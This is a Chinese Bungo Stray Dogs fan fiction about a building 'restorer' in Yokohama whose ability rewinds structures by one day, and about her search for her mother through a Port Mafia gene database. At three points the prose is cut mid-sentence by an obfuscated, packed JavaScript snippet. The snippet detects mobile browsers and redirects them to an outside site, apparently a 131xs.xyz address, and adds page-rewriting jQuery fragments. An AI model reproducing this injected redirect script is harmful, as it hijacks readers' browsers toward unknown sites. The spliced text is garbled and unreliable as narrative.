《我在横滨当建筑恢复师》
1. 护工
有些故事的伏笔,也许在最初就已经埋下,仿佛是美人鱼遗失的尾巴,被随手放在记忆的海底,存在的唯一意义,便是等待着被揭晓的那天。
中岛敦又咳出一口血,最后的力气也被抽干,猛地跪倒在地上。他用了一会儿才睁开眼睛,怔怔地望着面前的尸山血海。大地被染成红色,天也被映得发红,一切都是红的,透明的光点从尸体堆中升腾,如同一场盛大的献祭。
如此美丽,如此梦幻。
中岛敦多希望他现在所经历的都是一场梦,然而当倦怠感涌上,他却感到了铺天盖地的绝望。他无比清晰地感觉自己也要死了,如果只是这样也无所谓,他只是……他必须要去阻止……
染血的风衣被风扬起,微微点亮了中岛敦心中的希望。
太宰先生,你能够阻止她吗?
白虎涣散的眼瞳死死盯着天际出现的那一抹白色衣裙,纯洁的,如花朵绽放。就那样注视着,直到生命的尽头。
一如初见时那般。
*
彼时的横滨也不曾想到,世界的罅隙就藏在某一个平凡的日光里。
*
“为什么房子的修缮需要护工呢?”在中岛敦还是侦探社的新人时,曾听见前辈们讨论,情不自禁地问。
国木田正在和与谢野本来讨论这一墙的弹孔该怎么处理。关乎70亿悬赏金的麻烦在他们口中与擦掉墙角的灰尘无异。与谢野提出用墙纸包住,反正那些家伙隔三岔五就会来,国木田则认为这只是掩耳盗铃,必须要彻底修缮才行。
最后与谢野一摊手,让了步,反正这一次轮到国木田进行善后,他说了算。敦见状立刻主动提出帮忙。
“是要买木板吗?还是修复材料什么的?”
“啊,不用,那太麻烦了,而且办公室还会有一种散不去的味道。”与谢野抱着臂靠在桌子上,用一种幸灾乐祸的语气发着牢骚,似乎话语里还隐藏着其他的意思,但是中岛敦听不懂。
不过中岛敦发现,在与谢野说出这句话后,国木田先生的反应突然变得有些剧烈,明明刚才面对枪林弹雨时也那么淡定。
国木田难以置信地看着与谢野,医生大人只是微笑着与他对视。
“武装侦探社还要开业,总不能因为这种经常的火拼就停业维修。”她的目光落在中岛敦身上,“何况新人初来乍到,总得慢慢熟悉这里的一些规则。”
非常有道理,国木田无法反驳,只好任命地扶了扶眼镜。
“也好,新人,你跟我走。”
“欸。”中岛敦连忙跟上,“国木田先生等等我,咱们这是去哪?”
“找一个人。”
“找……谁?”
国木田一时沉默,即便是面对太宰先生,中岛敦也几乎没有看见他变得这样苦恼过。就好像找这个人是必须要做的事情,但是偏偏又会带来更多麻烦。两边纠结,直到迈出步伐以后仍然陷入后悔的怪圈里,在麻烦到来前便已经不断内耗自己的精力,最后再筋疲力尽地等待着预期中的结果——国木田先生看上去已经在这么做了。
“护工。”
*
在横滨,你可以不活,但你不能没活儿。在这个隔三岔五就是□□火拼,隔五岔七就是势力入侵,隔七岔十就是世界末日的地方,也许你路过一个人就是异能者,抑或是有着什么特殊能力的超级英雄,至于那些普通人,要么命大,要么是傻逼了才想不开来这里生活。
不巧,我就是那个傻逼。
我叫藤原白,是一名横滨的建筑恢复师,之所以是恢复而不是修复,主要是因为我的异能——【昨天你好】
并不文豪也不野犬的一个技能名字,主要作用是将建筑恢复为24小时之前的状态,包括里面一切非生命的物体。
这个异能说强不强,说low也没那么low,操作也非常容易,除了最开始控制不住,会把我写了一晚上的寒假作业回档以外,也没有造成什么毁灭性的麻烦。我本来想要凭着异能在行业里崭露头角,不求行业巅峰,至少混个每天放技能的闲职就好,为此还特地学习了土木专业,奈何在我一个技能将他们赶工了一天的大楼回档以后就被赶了出来,沦落到大街上要饭了。
路过的学弟学妹们看到以后都心疼哭了,给了我两盒外卖便头也不回地嚷嚷着“转系啊”“我们完蛋了”之类的话便跑走了。
世上还是好人多啊。我蹲在路边感叹。
果然没过多久又来了个好心人,告诉我其实我这个技能真正的光芒不在这里,而是在传说中充满罪恶与混乱的地带。我当时只顾着往嘴里扒饭,没看清他的脸,只记得那天阳光太晃眼,还有耳畔一声猫叫。
虽然很想告诉他我对发光没什么兴趣,但是生计所迫,我还是来到了横滨,
来的第一天我的钱包就被偷了,刚想去警局报案,警局隔我十几米远也炸了。我灰头土脸地站在硝烟与尘风中凌乱,没有跑路纯属因为身份证件也被偷走了。
本来想要不要换个警局,现在想想如果当时真的走了也许也就不会发生后面那些事了,可惜我腿太欠,又总有一点不合时宜的好奇心,催着我狗狗祟祟地摸过去,想看看里面究竟发生了什么。
所以被当成嫌疑人抓起来其实也挺正常的。
幸好路过的乱步先生帮我洗清了冤屈,还好心答应帮我找回证件。我当时感动极了,心想不总不好全麻烦人家,兴致勃勃地打算展示一下自己拥有的证据。
其实就是我的异能——如果我真的是罪犯,大可以在爆炸瞬间再将这座警局变回24小时之前的模样,连现场都不会给你。
我身后的两人非常默契地沉默下来,想必已经被我强力的异能给折服了。
把我抓起来的红衣男人望着完好无损,还一尘不染(也许他们昨天刚做完大扫除)的警局,露出一个微妙的笑容。
“现在我们真的要去谈谈了。”被人称为条野的男人浑身冒着冷气,彬彬有礼地送我和乱步先生上了他的私车。
当然这种事情在横滨也不算什么大案子,警局的警察当时都出了外勤,没有人员伤亡,物质上方面也因为我的异能回溯了而没有太大的损失,甚至还从隐秘的暗格中找到了炸弹的所在地,姑且算是找到了线索立了功。
鼻子和耳朵都灵敏过分的条野警官在这方面也敏锐得过分,在意识到我的异能作用以后,便直接联系他们部门给我开了绿灯:包吃包住,安排工作,还有个笑起来很和善的,叫和田的胖先生,邀请我加入他们的编制,被我拒绝了。
总感觉加入会变得不幸。
虽然我确实一直相信我的异能非常强大,但是这里的人似乎太过友好了。我本来还怀疑其中会不会有什么阴谋诡计,比如其实这里其实是一个大型犯罪窝点等着宰我这个外乡人,又或者只是因为流失人口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543716|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
太多所以能坑进来一个是一个之类的原因,但是在我一天之内回档了一座港口两栋大厦十间房屋后,我终于意识到了那个猫叫男所说的“光芒”究竟是什么意思。
不er横滨到底哪来的那么多炸弹啊?
现在跑还来得及吗?
什么叫我刚才修的是□□帮派的大厦?
横滨税务官握着我的手声泪俱下,就差认我当再生父母了,抹着鼻涕说我至少捞回来横滨百分之三十的税收。我惊讶居然才百分之三十,想抽回手,没抽动,身边黑的白的黄的把我团团围住,几方势力难得那么和平,就生怕我真跑了。
不是你们要是真心疼钱就别天天在那火拼行吗?
不火拼是不可能的,横滨就像有什么业绩一样,天气预报都可以歇业,横滨每天没有几场犯罪就好像少了什么。
这不,门铃又响了。
我认命地放下手里的书,拍拍怀里睡觉的橘猫,让她去里屋玩,然后慢吞吞地起身,打开门,果然来的又是熟人。尽管其中面生的少年难掩震惊地望了眼我的屋子有些失礼,但很高兴国木田先生没有弯弯绕绕,直接说明了来意——还是老生意。
在知道又是港口黑手党和侦探社例行“友好交流”后,我忍不住说道:“你们武装侦探社和黑手党多少有点暧昧了。”
国木田顿了顿,扶了下眼镜:“您说笑了,武装侦探社绝对不可能和港口黑手党同流合污。”
不,我没有让他们真的住同一条臭水沟的意思。
我真诚地推荐:“你们武装侦探社直接搬到□□大楼办公,到时候不仅出勤方便,损失也能报销,恩怨还不会波及无辜群众,一举三得,多完美。”
国木田先生这一次沉默了更长时间,倒是他旁边那个名叫“中岛敦”的少年忍不住开口。他有一双温润的眼眸,让人想起会在怀里撒娇的猫科动物。
“这是不可能的吧!”
“万事皆有可能。”我说。起码在我这里,黑手党和侦探社可以做到心平气和地排队摇号。
中岛敦看上去很惊讶,和我最开始的反应一样,没关系,次数多了也就麻了。
“如果你害怕被港口黑手党抓走,也可以暂时待在我这里。”因为这双温润的眼眸,我对这个少年印象很好。中岛敦端着一杯被我额外加了甜奶的绿茶,神情有些犹豫——和那些八百个心眼的家伙们比起来,他的确好懂的过分。
可惜国木田还在这里,他很做作地咳嗽两声,唤回了少年的理智。中岛敦下定决心那般,郑重地向我鞠了一躬,感谢我的收留邀请,但是他也相信侦探社的同伴们,愿意与他们共同面对日后的困难。
这番豪言壮志让我想起刚来横滨的我,事到如今我还是有一种被坑蒙拐骗的感觉,出于前辈的关照,我提醒他:“可能会很辛苦哦。”
可惜中岛敦还很青涩,等到过段时间我们约酒,满怀激情的少年已经蜕变成拳打组合脚踢天人五衰,时不时再来个五十五分钟生死时速的热血工具人,在拯救世界的间隙里对着昏黄的灯光和手里的果汁直叹气。
“我真傻,真的,我单知道武装侦探社很忙,但是万万没想到全世界的恐怖分子都愿意过来——我现在看见港口黑手党都觉得亲切了!”
现在的中岛敦显然还没有意识到事情的严重性,信誓旦旦地拍着胸脯表示那也没关系。
那我当然也就是尊重祝福。
2. 交谈
扯回话题,我钻进我的书架里翻出日程表,发现今天的订单已经排满了,翻一页,明天的也满了。
中岛敦忍不住问:“为什么还会有预约修房子的人啊?难道他们早就知道自己的房子会破掉吗?”
我耸肩,这个少年还是太天真了,那些需要抹除当日痕迹的人可不只是像他们这样会突然被枪击的无辜群众。
国木田正在本子上写着什么,听见我的话停下笔,皱着眉头问:“请问都是谁预约了服务,我们武装侦探社会和他们交涉,看看能不能给我们腾出一个小时时间。”
我扫了一眼手里的几页A4纸:“港口黑手党。”
中岛敦:“啊?”
不知道他想到了什么,看向我的眼睛都没有那么无害了,还后退了两步。
难道他是一个社恐?看着不像啊。
国木田独步也没说话,在那里思考着什么。我扫了眼腕表,距离我喝牛奶的时间还有二十分钟。
如果不是因为乱步先生曾经帮助初来乍到的我找回了各种证件,我是不会允许他们没有预约就来到我的巢穴的。
本来也想着某一次大发雷霆然后顺理成章地把这些vip赶出去,奈何他们每次都很有礼貌。而且这次新来的小孩实在太有意思了,我又没忍住自己的好奇心,话从嘴边溜了出去:“没关系,那边我来搞定。”
哇,这孩子身上炸的毛又顺回去了。
中岛敦刚才还像只警惕的小猫,现在又急道:“护工小姐,这实在——”
“藤原白,你可以称呼我为白。”我预感再说下去估计就要奔着莫名其妙的苦情剧发展了,于是及时制止,又看了一眼时间,还有十五分钟。
我立刻起身:“速战速决。”
虽然敦很有意思,但是他们打乱我的休息时间,我还是有些不高兴的。本来在路上就想着要不要偷偷做点手脚,比如偷偷将他们今天整理出来的资料都抹消掉,或者故意给他们把整栋楼都回档,给他们添点麻烦什么的。可惜乱步先生已经预见到了这种情况,当我花费十五分钟来到侦探社,凌乱的桌面上已经收拾出一小块干净的区域,上面摆着一大杯热气腾腾的甜牛奶。
好吧,好吧。
我无奈地看了眼坐在旁边桌子上的乱步先生,他手里拿着一瓶波子汽水,里面的玻璃珠随着他微微侧头的动作晃荡着。我很想忽略他的微笑,但是他实在太像一只调皮捣蛋的小猫咪了。
“紧急文件都转移走了吗?”我例行公事地向他确认。
“都在那边了。”他扬扬手,波子汽水里的玻璃珠又晃荡两下,发出清脆的响声。走廊那边确实已经堆起来很多书和白纸,至于有没有遗漏也不是我要考虑的东西。
我喝完牛奶,甩手将杯子扔到地板上,玻璃的碎裂声盖住了波子汽水的响动,给本就凌乱的房间雪上加霜。中岛敦看上去有些疑惑我的举动。
乱步跳下桌子,走出已经没了门的办公室,走廊的一众人散开,为他腾出前排的位置。我不是很理解他们为什么总是看不腻这一幕,当然这也无所谓。我站在空无一人的办公室,也没多看一眼墙上那些乱七八糟的弹孔,只是把右手轻放在桌面上,那里还残留着几分牛奶杯的温热。
【异能力——昨天你好】
一层只有我能看见的波纹从右手扩散,沿着桌腿,蔓延到地板、墙面、天花板,整间办公室很快都蔓延上了一层波纹,如同阳光下的清澈湖面,偶尔闪过阳光的七彩色。在我的脑海中,一间房屋很快从各种角度浮现出来,从里到外,分毫毕现,我甚至可以看见掉到墙缝里的一块点心,已经被蚂蚁搬走了一大半。
接着就是按下回车键,整间房屋闪烁了片刻,只一帧的时间,一切便回到了24小时之前的样子。
食物没有了,墙缝里的蚂蚁们也没有了。
还有一个被洗刷干净的玻璃杯,被摆放在厨房的控水台——我自然而然地接收到这间24小时前的房间信息,看来他们昨天遇到了什么紧急任务,各种文件凌乱得不成样子,在不会有人注意到的角落,还扔着一堆染血的绷带。我盯着那几条绷带,过了一会儿,收回全知视角,没说干点心,也没说绷带,只是看了眼腕表,对不知何时站在门口的社长大人伸出手。
“诚惠,老规矩。”
武装侦探社社长是个爽快的主顾,从来不会赖账。我涨价了很多次,他一次也没有提出异议,只是有时候有点啰嗦。
“你完全可以让乱步帮你,他不会拒绝。”
在江户川乱步开口前,我就已经熟练地回绝:“还是不浪费横滨最宝贵的大脑了。”
接下来的流程就是……我环视一圈,叫了声中岛敦。他虽然不明所以,仍两三步跳过地面上的文件,走到我面前。
在横滨有一个不成文的规定,凡是邀请【护工】的,必须承担起护送回去的责任。
中岛敦虽然是新人,但胜在足够听话,免了我解释的时间。
楼下咖啡厅吧台上已经打包好一杯咖啡,我下楼拎出去。牛奶占比百分之九十九的拿铁,提神不伤脑。
我吸着温热的咖啡,和中岛敦走在横滨的路上。这孩子真的很好懂,想说什么都写在脸上。我听国木田说了,他来到横滨的时间不长,想必对一切都很陌生。我是个善良的人,愿意给新人一点指导。
“想问什么就问吧!”我将杯子扔到路边的柏油马路上。杯子在接触到马路的一瞬间消失不见。
中岛敦脱口而出:“您将它扔到哪里去了?”
我忍俊不禁,不过想想孩子之前还是普通人,对于异能不熟悉也很正常。
“在它落到地面时,我将那块区域重置了。反正这条马路几乎每天都是这个样子,所以你看不出来。”
“好神奇!”中岛敦眼睛都亮了,像个好奇宝宝一样缠着我问来问去,“那那个饮料杯也会回到昨天的位置吗?”
我微笑着说:“不会哦。”
“欸,那它——”
“如果这片区域之前不存在这个杯子,那它应该会直接消失吧。”
“消……消失?!”
我点头。作为异能拥有者,我也会对我自己的异能有一些感悟。比如这份回溯建筑,单说回溯其实并不完全,更像是把今天的一切删除,然后昨天就不得不延续过来。至于今天存在的一切事物,则会像被吸入黑洞一样去到另一个世界似的不留下任何痕迹。
我没有和他说全,但仅仅这样中岛敦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543717|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的眼神也有些呆滞了,好半天,才突然想起来一开始想问我什么问题来着。
“对,对了,拥有这样便利异能的白小姐为什么会被叫‘护工’呢?明明并不是针对人的工作。”
“那我问你,我要是叫什么玛—横滨守护者—丽—正义救世主—莲你们不是炸了吗?”
中岛敦:“……”
他表情空白的样子实在太可爱了,我没忍住转头偷笑了一下,才清了清嗓,正经道,“而且我不就是专职给你们这些管杀管埋不管赔的家伙们擦屁股的吗?”
什么帮/会火拼,血肉炸在墙上铲都铲不下来;boss入侵,轻则炸毁几个港口重则炸掉几栋楼都是常有的事情;定期犯罪就不用说了,来点金库小火药,弄死几个仇家,或者干脆不想费劲清理作案现场的,都会直接过来找我。
哈哈…全日本都知道那句广告词。
横滨大舞台,有命你就来。
不过我一般不会接最后那种情况,倒不是不想给警察添麻烦什么的良好市民想法,而是这种活儿钱少,人坏,事多,还会有很多自作聪明的家伙来灭口。
也不知道我这个城市修理工到底动了他们哪块蛋糕,至于费力气干掉我吗?
所以才有这些不成文的规定啊,什么三不管地带、包接包送原则……
我觉得我的讲述挺幽默的,但是中岛敦脸上的担忧更甚了。
“这么危险,那白小姐你没想过离开这里,去一个和平的地方吗?”
我没想到他会这么说,嘴里的词突然卡了壳,本来想很得意地跟他炫耀我在这里混得多么多么好,好几方势力都不敢惹我云云,可是面对少年澄澈的目光,我张了张口,最后也只是轻轻吐了口气。
“我也想啊,但是这里赚的多。”
中岛敦有些惊讶:“您的异能不会愁钱吧。”
我想起那些把我赶出去的工友们,决定不去打破小孩对我的滤镜。
“但只有这里赚得最多。我需要钱,很多很多钱。”
多到足以翻遍日本的生物信息档案库那种。
我停下脚步,看向远方的天空。骄阳懒散地躺在云朵上面,被风儿推着走,偶尔掠过几只鸟雀,融入叶荫。这几年来皆是如此。
我望向跟随在身边的中岛敦,少年身材瘦削,不,是太瘦了,看上去有些营养不良的样子。只是他叽里咕噜问这问那的样子像一只无害的小猫,总让我下意识忽略他也曾经流浪过这件事。
是精神上的原因,还是他自身那种勃勃的生机呢?我也对他有着好奇,用要诱拐无辜小孩的温和语气道:“你问了我这么多,让我也问你几个问题吧。”
中岛敦登时立正:“请,请问!”
我失笑。
“别紧张。之前国木田之前介绍你时,好像说了你是孤儿对吧。”
“是的。”中岛敦充满感激地说,“我从孤儿院长大,又流落到横滨,幸好遇到了侦探社的大家,给了我一个容身之所。”
“真好呀。”我看见他的笑容,难以言说的羡慕涌上心头。我终于确信,中岛敦和我不一样,他的眼神很干净,那是即使被世界抛弃,依然爱着这个世界的眼神。
多么纯洁的灵魂。
3. 母亲
我开始期待他的答案:“接下来的问题可能有些冒昧:敦,你还记得你的母亲吗?生下你,又不知为何抛弃你的母亲。”
这个问题对于孤儿来说太冒犯也太残忍,中岛敦的神情变得有些迷茫。常年生活在孤儿院的孩子,也许在年幼时会反复想到自己的母亲,但是年岁渐长,他们就会学会不去关注这些,毕竟比起注定不会得到的东西,还是关注眼前的生存更加重要。
中岛敦的神情有些落寞,笑容也变得苦涩起来。
“不记得了,从我记事起我就在孤儿院了。”
我就像一个残忍的侩子手,一片片凌迟他的心脏:“那你憎恨你的母亲吗?”
憎恨她抛弃了你,留你独自挣扎在这个世界。她也许活着,却选择放弃了你;她也许死去,你们便是死别,连最后重逢的可能都没有。
我以为中岛敦会哭泣、愤怒或是哀怨离去,我愿意接受他接下来的情绪,因为这一切我都与之共情。我已经想好我冒犯这孩子后应该给予什么样的补偿,却没想到,中岛敦几乎是不假思索地飞快摇头,就好像这个答案在他幼时便已经设想过,至今仍未改变。
“虽然不知道我的妈妈为什么不在我身边,但,不管怎么说,是她带我来到这个世界上。”
这些话好似一柄铁铸大锤砸到我胸口,我难以遏制地后退半步,大脑乱七八糟的想法都被砸了出去。
是啊。我出神地望着一脸关切的中岛敦。孩子渴望母亲是天性,孩子怎么会憎恨母亲呢?
我对中岛敦说,接下来的路不用送了,我想自己散散步。中岛敦有些为难,说我这样的女孩子独处太危险了。
我欲言又止。
就算我真的遇到什么危险,这个连异能都没有掌握完全的侦探社新人,真的有这个实力保护好我吗?
中岛敦是个实心眼的孩子,我也不打算为难他,于是指指前方。
“我可不是一个人呀,你看,有人来接我了。”
中岛敦抬头,看见了伫立在前面不远处那家商店前的人。那人似乎还没有发现我们的存在,正专心致志地欣赏着橱窗里的帽子。中岛敦歪了歪头,似乎不确定这样的人是好是坏,又能不能保护好我。
我没办法,只好给乱步打了个电话。乱步也不赞成我自行离去,但他愿意信任我,于是我才得到豁免。中岛敦得到命令,终于放下几分戒心,又等到红发的男人和我打了招呼,确定我们之间是互相认识的,才一步三回头地离去。
我微笑着摆手,等到中岛敦走出一个拐角,看不见身形,才说:“是个好孩子呢,你觉得呢,中也?”
中原中也不置可否:“侦探社的新人?”
我有些惊讶地挑了挑眉,按照国木田的说法,中岛敦加入侦探社也没几天,且不算崭露头角,就算是和港口黑手党有过几次交手,也都止步与芥川他们那边,中原中也这个等级按理说是没必要去关注的。而且他也才外派回来不久,可没有收集资料的闲暇。
那么这位重力使是完全凭着自己的直觉,猜测出中岛敦的身份和立场的吗?
中原中也眯着眼睛望向中岛敦离开的方向,正在思索着什么,但不知为何他又放弃了某些盘算,抓了把自己的头发,和我抱怨:“太慢了,下次不要让我找不到你。”
熟读市面流行小说的我被这番霸总发言雷了一下,稳了稳心神,才公事公办地表示:“侦探社派了紧急单。我记得我有和你们那边发过信息推迟交易。”
而且你不是有我电话吗?
“啧,亏我提前结束镇压回来。”中原中也不满我的态度,但是也没说什么,拉长声音,“好吧,日理万机的护工小姐,我们现在能去干活了吗?”
我:“……”
我刚从侦探社出来,还没歇脚呢!
一辆黑色的轿车仿佛听见我的心声那般,悄然停在我们脚边,如同一道阴魂不散的幽灵。我很想转身就走,但是想到□□每次拿出的价格,还是口嫌体正直地坐上了后座。中原中也没坐副驾驶,而是直接坐到我旁边。
黑色轿车外表其貌不扬,低调内敛,里面却别有洞天,宽敞得不像是一辆四轮小车,不仅座椅是真皮的,还能够调节躺卧,中间甚至一个被改装过的小酒柜,上面正冰着几瓶葡萄酒,看商标是西欧那边某浪漫之都。
虽然这些内设确实很酷,但我多少也已经看腻了这些,上车以后的力气只够我露出一个尴尬而不失礼貌的微笑。
每次都这样,不嫌麻烦吗?话说回来,这样的组织,没有直接把我绑去□□大楼没日没夜地干苦力,还真是有够收敛的。
当然,我有时候也不理解,我的能力虽然对税务局非常有用,但是□□真的需要我出手吗?我的异能,无非就是修复被损毁的建筑和扫除今日的痕迹,□□真的会有那么多尾巴要扫吗?
不,换种说法,□□真的有必要去扫尾巴吗!!!
就算全横滨都知道是他们干的又如何,这只会增加他们的威慑力。但是如果不是犯案抹除痕迹的原因,那就只能是火拼的时候又一不小心地炸毁了几栋楼了。
又在黑吃黑啊□□,歇一天好不好?
我靠在后座靠椅上,幽幽吐出一口魂魄。
这破班爱谁上谁上,劳资想辞职了。
当然辞职是不可能辞职的,全横滨的人都撅着等我擦屁股,我想走也没戏,唯一能做的只是把头偏向车窗,静静望着外面飞逝的景色。
横滨是个发达的港口城市,目之所及高楼林立,天空只占了小小的一角。海风的气息却绕过楼宇,萦绕在鼻尖,由淡转浓,不难猜想出现在到了哪里。
这段时间不是晚高峰,车开得很流畅——当然晚高峰也不会影响它的行驶就是了。
海风与天空对我都无所谓,因为这条路我实在太熟悉,闭着眼睛都能知道拐了几个弯。曾经揣揣不安的心态如今也变成了爱咋咋地,有本事弄死我。
很难想象岁月到底对我这样温柔优雅的小女孩做了什么。
□□大厦离得还很远,黑车已经经过数道关卡,尽管那些关卡并不显眼,车辆也没有半分停滞,但我知道我们已经被审查了不下五次,直到在那栋高耸的大楼前绕了半圈,驶入地下车库,车辆的灯光在黑暗的水泥空间游曳、停下,中原中也先下了车,撑着车门。
我从另一边打开车门跳下来。
中原中也甩手关上门,司机目不斜视地驶离车辆,如一道幽灵消失了。我和中原中也隔着一段距离互相望着,夜色中我看不见中原中也的神色,但我知道他能看清我的一切表情。
终于,他认输一般压了压帽子,右手掌心向上,为我引
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543718|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路。
周围的承重柱干净得仿佛刚刚建成,每一根都如同沉默的护卫守候在这里,怎么都不像是有什么损坏的样子。
我知道中原中也并不在乎几栋楼的恢复与否,港口黑手党鲜少有需要扫清尾巴的时候,他们预约满我的行程,定然有着其他目的。至于给其他势力添堵也好,单纯想要给我找事也罢,这些和我没关系,只要钱到位,我不在乎我面前的是一位侦探社新人还是一位□□高层干部。
偶尔也会生出一个□□为了给我增添工作量故意炸坏几片建筑的猜想,但是异能特务科那边也不是吃素的,应该……不会允许□□这么乱来吧。
我们走入电梯,显示屏上并没有数字跳动,只有体感的上升。中原中也应当能够通过这种上升感判断出我们现在所处的高度,我没有这种本事,但通过漫长的时间,也能判断出我们应当已经处在非常高的楼层了。
在这栋楼里,层数越高级别越高,我很少踏入这里,毕竟这栋楼极少遭到什么需要我出马的攻击,如果我是收尸的估计会经常来,清理那些不自量力的入侵者。
但我只是个恢复建筑的,多也是帮忙给□□名义下或者交了保护费的店铺干活,时不时再擦几次火拼的痕迹。而这一次,不仅是中原中也亲自接我,还直达这么高的楼层……
总不会这次直接把我送到首领办公室去吧。我游离的思绪思考着□□这一次的目的。在我想到第十二种事情的走向时,电梯缓缓停下。我们走出来,没看见什么损坏的古董或者家具,迎面只有一小扇门,门框不高,我和中原中也稍稍踮起脚也会碰到头的程度。我看向旁边的干部大人,忍不住道:“我不接人的生意。”
“什么?”中原中也看着我。
“如果你们只是想要重置建筑师的脑袋,我是做不到的。”
“…你的幽默感还是这么独特。”中原中也虚着眼打开门,让开身体。我本来想和他怼几句,但是迎面而来的景象令我震惊得忘记了这个打算。
如果说这间房间有什么家具,那就只有墙壁下面那个窄小的桌子了,除此之外其他空间,全部都被闪烁着蓝色代码或是文件名的屏幕占据,墙壁上、天花板,如果不是地面是用来踩的,想必也会被这些昂贵的高科技部件铺满吧。
我突然感觉自己置身于一部脑洞大开的科幻小说中,忍不住上前,房间很大,我走了一会儿才看清最里面那个窄小的桌子,上面正摆放着一些纸质资料与一台电脑,旁边还有台小型半透明装置,中间有一根手指粗细的孔洞,背面联通着电脑。
我下意识回头问:“要我重置这里吗?”
中原中也靠着墙,脸上带着轻松的笑,这让人短暂想起来他的年纪也不过才22这件事。
“不用。”他走过来,摘下帽子,搁在窄小桌面上最后一块空余的空间,接着在电脑上敲了几下,全房间的屏幕都开始滚动起来。
“给我一滴血。”
他对我吩咐。
我终于意识到了他要做什么:他在检测我的基因进行配对。
这一认知令我的呼吸顿时急促起来。如果配对成功,那么我在横滨这些年的滞留、在枪林弹雨中的挣扎和几方势力的斡旋,都将迎来最终的报偿。
也许我终于能够找到我的归处,我的根。
我的母亲。
4. 遇袭
心脏今天实在受到太多刺激。我踟蹰在原地,一时找不到控制脚的知觉。不过我很快冷静下来,缓慢地,将手指放入那个半透明装置中。几乎没有感觉到疼痛,只有温热的液体从我的手指滴落。没过几秒,那些屏幕就像是得到了什么指令,滚动的速度突然加快,用肉眼几乎捕捉不到的速率搜索着。
我死死地盯着它们,眼前却蒙着一层迷雾,看不清任何数据;脚底踩着东西,像是棉花,软绵绵的几乎要摔倒;空气穿过我空落的胸膛,留不下一丝痕迹,只有无尽的寂寞。
我设想过眼前这一幕很多年,没想到会在这里预演出来。我现在的这种感觉是期待吗?如果是的话,我为什么会有一种想要呕吐的冲动?
如果检测成功,我就会找到我的母亲,我那未曾蒙面的,曾与我连着脐带的女人。她会是什么样子的呢?她会是贫穷还是富有?是好人还是坏人?她会对我有愧疚吗?她会憎恨我吗?她也在寻找着我吗?
我的母亲。
也许是太突然了吧,毕竟,为了找到她的下落,我已经努力了数年。才通过武装侦探社与猎犬的人脉,找到给我进行全国范围内基因匹配官方人员,尽管要价高昂,让我不得不在横滨打拼多年也没能攒够。
而现在,假如我运气好——不用太好,不要那么倒霉就行——也许我就能够找到生身母亲的线索,或者其他亲人的线索。
那样的话,我毕生的夙愿也许就能够达成了
我一眨不眨地望向那些数据,心底的滋味略有酸涩。感激什么的另说,只是想到:这一次该轮到我给他们酬金了。
中原中也细长的手指在键盘上敲敲打打,声音和谐悦耳。我却无暇欣赏,只紧紧盯着那些屏幕,生怕错过任何蛛丝马迹。
房间太安静了,那些数据明明静默无声,却喧嚷得人心烦意乱。我难耐地向中原中也搭话:“你说最后会不会得出什么‘我们是同父异母的姐弟’或者‘我们其实是未曾谋面的仇人’剧情?”
中原中也没好气地说:“少看你那些垃圾小说。”
我耸耸肩,说点正事:“你们既然已经掌握了这么多人的基因信息,又为什么从不显露出来?毕竟这些情报如果不售卖,对你们来说就毫无价值。”
“港口Mafia虽然有着能够和政府叫板的实力,但获取到公民信息这种事还是夸张了。”
我上前两步,发现中原中也最开始的微扬的眉宇现在紧紧皱起,似乎遇到了什么非常棘手的状况。但是他依然抽出精力回答我的问题。
“港口Mafia有属于自己的信息库,你可以理解为黑网,能够将大批的信息泄露拷贝编织成情报,以供随时取用。这就是为什么不要想着叛逃港/黑,没人能保证自己的信息永远不会流出去。”
我问:“那太宰治呢?”
中原中也在键盘上敲打的手忽然加重,好像要把键帽摁碎。
我熟练地后退半步,背着手,讨饶地笑笑:“哇塞,这么厉害,那你们的资料库存也与官方不相上下了。”
就像中原中也说的,没有人能保证自己的信息永远不会泄露,所以只要港口Mafia算力够强,理论上完全可以拥有大部分日本人的各种资料。
这让我升起几分期待,这么多基因,总会有与我相联系的蛛丝马迹吧,也许这么多年的寻找,这么长时间的苦旅也就此可以结束了。然而中原中也冷着脸瞪了我一眼,突然拿起帽子,向外走去。
欸,怎么要走了,难道是恼了?
我有些急切地追上去,中也又停在门口,语气低沉,说不上是严肃还是烦躁:“这就是太宰那家伙想到的思路,又与港/黑内部的黑客合作打造出的黑网。网络布置大部分只停留在横滨,约有百分之八十五的涵盖率,除了政界上层和军方,几乎不会再有漏网之鱼。我的血亲就是主要依靠这种方式找到的。所以……”
他不再说了,只留下背后的机器滴滴乱响,我下意识转过去,半途又定住,身体滑稽地扭曲着。
那些滴滴声好似在宣告着某种无助。我伫立在原地,心中那鼓动的热血逐渐冰冷下来。
